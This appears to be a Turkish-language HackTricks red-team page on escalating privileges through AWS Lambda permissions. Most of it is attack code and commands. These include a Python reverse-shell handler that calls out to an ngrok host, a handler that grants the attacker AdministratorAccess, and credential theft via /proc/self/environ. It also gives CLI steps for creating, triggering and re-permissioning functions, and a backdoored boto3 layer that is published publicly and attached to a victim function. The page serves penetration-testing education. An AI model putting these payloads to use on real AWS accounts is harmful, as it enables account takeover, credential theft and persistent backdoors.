AWS - Lambda Privesc

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'i desteklemenin diğer yolları:

lambda

Lambda hakkında daha fazla bilgi için:

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

iam:PassRole, lambda:CreateFunction ve lambda:InvokeFunction izinlerine sahip kullanıcılar ayrıcalıklarını yükseltebilir. Varolan bir IAM rolünü yeni bir Lambda işlevine atayarak işlevi o rolle ilişkilendirilen izinlere sahip kılabilirler. Kullanıcı daha sonra bu Lambda işlevine kod yazabilir ve yükleyebilir (örneğin bir ters shell). İşlev kurulduktan sonra, kullanıcı AWS API aracılığıyla Lambda işlevini çağırarak işlevin yürütülmesini tetikleyebilir ve istenilen eylemleri gerçekleştirebilir. Bu yaklaşım, kullanıcının IAM rolüyle ilişkilendirilen erişim düzeyi ile işlem yapmasına izin vererek kullanıcının Lambda işlevi aracılığıyla dolaylı olarak görevleri gerçekleştirmesine olanak tanır.\

Bir saldırgan bunu kullanarak bir ters shell alabilir ve belirteci çalabilir:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Lambda rol izinlerini lambda işlevinden de kötüye kullanabilirsiniz. Eğer lambda rol yeterli izinlere sahipse, bunu kullanarak size yönetici hakları verebilirsiniz:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Ayrıca, dış bir bağlantıya ihtiyaç duymadan lambda'nın rol kimlik bilgilerini sızdırmak da mümkündür. Bu, iç görevlerde kullanılan Ağdan izole edilmiş Lambdalar için faydalı olacaktır. Eğer ters kabuklarınızı filtreleyen bilinmeyen güvenlik grupları varsa, bu kod parçası size lambda'nın çıktısı olarak kimlik bilgilerini doğrudan sızdırmanıza olanak tanıyacaktır.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Potansiyel Etki: Belirtilen keyfi lambda hizmet rolüne doğrudan ayrıcalık yükseltme.

Dikkat edin ki, lambda:InvokeAsync'in tek başına aws lambda invoke-async'i çalıştırmanıza izin vermez, ayrıca lambda:InvokeFunction'a da ihtiyacınız vardır.

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Önceki senaryoda olduğu gibi, lambda:AddPermission izniniz varsa, kendinize lambda:InvokeFunction iznini verebilirsiniz.

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Potansiyel Etki: Belirtilen keyfi lambda hizmet rolüne doğrudan ayrıcalık yükseltme.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

iam:PassRole, lambda:CreateFunction ve lambda:CreateEventSourceMapping izinlerine sahip kullanıcılar (ve potansiyel olarak dynamodb:PutItem ve dynamodb:CreateTable) lambda:InvokeFunction olmadan bile dolaylı olarak ayrıcalıkları yükseltebilirler. Kötü niyetli kod içeren bir Lambda işlevi oluşturabilir ve var olan bir IAM rolünü atayabilirler.

Lambda'yı doğrudan çağırmak yerine, kullanıcı bir DynamoDB tablosu kurar veya var olan bir tabloyu kullanır ve bu tabloyu Lambda'ya bir olay kaynağı eşlemesi aracılığıyla bağlar. Bu kurulum, Lambda işlevinin tabloya yeni bir öğe girişi yapıldığında otomatik olarak tetiklendiğinden, kullanıcının eylemi veya başka bir işlem tarafından Lambda işlevinin dolaylı olarak çağrılmasını ve geçilen IAM rolünün izinleriyle kodun yürütülmesini sağlar.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Eğer DynamoDB zaten AWS ortamında etkinse, kullanıcı yalnızca Lambda işlevi için olay kaynağı eşlemesini kurmalıdır. Ancak, DynamoDB kullanılmıyorsa, kullanıcı yeni bir tablo oluşturmalıdır ve akış etkinleştirilmelidir:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Şimdi Lambda işlevini DynamoDB tablosuna bağlamak mümkün, bunun için bir olay kaynağı eşlemesi oluşturarak:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Lambda fonksiyonu DynamoDB akışına bağlandığında, saldırgan DynamoDB akışını etkinleştirerek Lambda'yı dolaylı olarak tetikleyebilir. Bunun için DynamoDB tablosuna bir öğe ekleyerek gerçekleştirilebilir:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Potansiyel Etki: Belirtilen lambda hizmet rolüne doğrudan ayrıcalık yükseltme.

lambda:AddPermission

Bu izne sahip bir saldırgan, kendisine (veya başkalarına) herhangi bir izni verir (bu, kaynağa erişim izni vermek için kaynak tabanlı politikalar oluşturur):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda lambda invoke --function-name <func_name> /tmp/outout

Potansiyel Etki: Kullanılan lambda hizmet rolüne doğrudan ayrıcalık yükseltme.

lambda:UpdateFunctionConfiguration

Tanıtım

Lambda Katmanları, kodunuzu lambda işlevinize dahil etmenizi sağlar ancak bunu ayrı bir şekilde depolar, böylece işlev kodu küçük kalabilir ve birkaç işlev kodu paylaşabilir.

Lambda içinde, aşağıdaki gibi bir işlevle yüklenen python kodunun yollarını kontrol edebilirsiniz:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

İşte yerler:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

Örneğin, boto3 kütüphanesi /var/runtime/boto3 (4. sırada) konumundan yüklenir.

Sömürü

Bir lambda işlevine yeni bir katman eklemek için lambda:UpdateFunctionConfiguration iznini kötüye kullanmak mümkündür. Rastgele kodu yürütmek için bu katmanın, lambdanın içe aktaracağı bir kütüphaneyi içermesi gerekir. Lambda işlevinin kodunu okuyabiliyorsanız, bunu kolayca bulabilirsiniz, ayrıca lambdanın zaten bir katmanı kullandığı olabilir ve bu katmanı indirip içine kodunuzu ekleyebilirsiniz.

Örneğin, lambdanın boto3 kütüphanesini kullandığını varsayalım, bu, kütüphanenin en son sürümünü içeren yerel bir katman oluşturacaktır:

pip3 install -t ./lambda_layer boto3

Dosyayı ./lambda_layer/boto3/__init__.py açabilir ve global kodda arka kapı ekleyebilirsin (örneğin kimlik bilgilerini dışa aktarmak veya ters kabuk almak için bir işlev).

Ardından, ./lambda_layer dizinini sıkıştır ve yeni lambda katmanını yükle kendi hesabına (veya kurbanın hesabına, ancak bunun için izinlerin olmayabilir). Unutma ki /opt/python/boto3'ü geçersiz kılmak için python klasörü oluşturman ve kütüphaneleri içine koymalısın. Ayrıca, katmanın lambda tarafından kullanılan python sürümüyle uyumlu olması ve kendi hesabına yüklüyorsan, aynı bölgede olması gerekir:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Şimdi, yüklenen lambda katmanını herhangi bir hesap tarafından erişilebilir hale getirin:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

Ve kurban lambda işlevine lambda katmanını ekleyin:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Sonraki adım, fonksiyonu kendimiz çağırmak olabilir veya normal yollarla çağrılmasını beklemek olabilir - ki bu daha güvenli bir yöntemdir.

Bu zafiyeti sömürmenin daha gizli bir yolu şurada bulunabilir:

Potansiyel Etki: Kullanılan lambda hizmet rolüne doğrudan ayrıcalık yükseltme.

?iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Belki bu izinlerle bir fonksiyon oluşturabilir ve URL'yi çağırarak çalıştırabilirsiniz... ama bunu test etmek için bir yol bulamadım, bu yüzden yapabilirseniz bana bildirin!

Lambda MitM

Bazı lambdalar kullanıcılardan parametrelerde hassas bilgiler alacak. Bunlardan birinde RCE alırsanız, diğer kullanıcıların gönderdiği bilgileri dışarı çıkarabilirsiniz, bunu kontrol edin:

Referanslar

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated